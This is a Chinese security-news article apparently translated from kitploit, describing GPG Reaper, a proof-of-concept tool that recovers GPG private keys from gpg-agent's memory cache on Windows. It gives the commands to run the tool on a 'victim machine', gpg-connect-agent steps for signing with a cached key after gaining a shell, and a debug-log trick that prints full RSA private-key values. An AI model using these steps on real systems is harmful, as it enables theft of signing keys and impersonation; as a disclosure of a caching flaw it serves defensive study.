freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

GPG Reaper:一款可以从Gpg-Agent缓存内存中获取或恢复GPG私钥的工具
2018-04-28 13:00:45

此POC演示了从Windows下的gpg-agent内存中获取GPG私钥的方法。通常这应该在10分钟内完成(--default-cache-ttl值)。不幸的是,只有当你使用GPG(这里没有定时器)时,housekeeping()函数才会被执行(负责缓存清理)。这意味着,在正常的GPG用例中,如:你签名了某个文件,然后关闭GUI并执行其他任务,即密码仍在gpg-agent内存中(即使ttl已过期)。有权访问你当前会话的攻击者,可以在不知道你密码的情况下使用它来窃取私钥。

安装

pip install PGPy

如果出现以下问题:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

接着安装:

pip install six==1.10.0

测试

1.安装Gpg4Win 3.0.3

2.打开命令行启动代理,并将默认缓存ttl值设为2秒:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3.运行Kleopatra并生成新的密钥对

4.签名一些示例测试文件

5.Pinetry会弹出并要求你输入密码

6.重复步骤4-5。每次pinetry都会显示,因为我们的2秒缓存已过期

7.运行GPG reaper

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

你将看到如下内容:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <anowak@example.com>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

可以看到我们转储了密钥。

8.恢复私钥:

python gpg_reaper.py .\testme.txt

私钥被转储到了文件:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <anowak@example.com>

简介

GPG-Agent是一个守护进程,可以独立于任何协议管理私钥。GUI界面使用Assuan协议与代理进行通信。默认情况下,代理缓存你的凭证。--default-cache-ttl n选项,将缓存条目有效时间设置为n秒。默认值为600秒。每次访问缓存条目时,都会重置其定时器。在Windows下签名过程如下所示:

这里的关键部分是housekeeping()函数,它负责从内存中删除过期的凭证。但是这里有一个问题:这个函数只在两个地方执行(在agent_put_cacheagent_get_cache中)。这意味着在执行一些使用agent_put_cache,agent_get_cache或agent_flush_cache的gpg-agent命令之前,不会从内存中删除缓存的凭据。

使用

受害者机器:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

将out.txt传输到你的机器并恢复私钥:

gpg_reaper.py out.txt

私钥将被转储到单独的文件中。

如果GPG安装在默认目录之外:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

如果你不想显示调试信息:

Gpg-Reaper -Verbose $false

使用GPG在机器上进行后利用

假设你正在进行渗透测试,并且你在安装了GPG的计算机上获得了shell。如果你的运气不错,目标用户最近使用了GPG且缓存没有过期,你可以:

1.签名一些文件:

运行c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

获取特定机器上可用的密钥列表

KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -

设置keygrip和消息哈希

SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2.导出私钥:

运行c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

获取wrapping key

KEYWRAP_KEY --export

从密钥存储区导出密钥。密钥将使用当前会话的密钥wrapping key使用AESWRAP-128算法进行加密

EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

不幸的是这并没有按我的预期工作,它要求输入密码。这是为什么呢?由于cmd_export_key()函数正在使用CACHE_MODE_IGNORE标志执行agent_key_from_file(),这也意味着其不会使用缓存,并且每次都会要求用户输入密码。

绕过私钥导出限制

我们知道,在没有密码的情况下是不可能通过gpg-agent导出GPG密钥的。

Agent有几个选项可用:

1. --debug-level

选择调试级别。 级别可能是数值或关键字:

guru - 所有你可以获取到的调试信息。

2. --log-file file

追加所有日志输出到文件。这对于查看代理实际所做的工作非常有帮助。

让我们使用gpg-agent.exe --daemon --debug-level guru --log-file out.txt运行代理并签名一些文件。

2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<nowak@adam.xxx>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

这看起来像guru模式,打印n,e,d,p,q和u数字到log文件。知道这一点,我们可以计算公钥和私钥。当DBG_CRYPTO被设置,内部skey值由gcry_log_debugsxp()打印:

if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

相关问答:

1.为什么选择使用PowerShell?

因为这个文件可以在大多数现代Windows系统上,在没有任何外部依赖的情况下运行。

2.GPG %file%不存在

gpg-connect-agent.exe,gpg-agent.exe或gpg.exe在默认位置不存在。

你可以尝试使用以下方式指定自定义位置:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

3.没有正在运行的gpg-agent

gpg-agent.exe没有在这个系统上运行,所以我们不能恢复私钥。

4.gpg-agent版本,sha256未知:

目前这个脚本只支持特定的版本

5.没有被缓存的密钥

内存中没有被缓存的密钥,因此我们无法恢复私钥。

*参考来源:kitploit,FB小编 secist 编译,转载请注明来自FreeBuf.COM

# GPG # GPG Reaper # 私钥
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者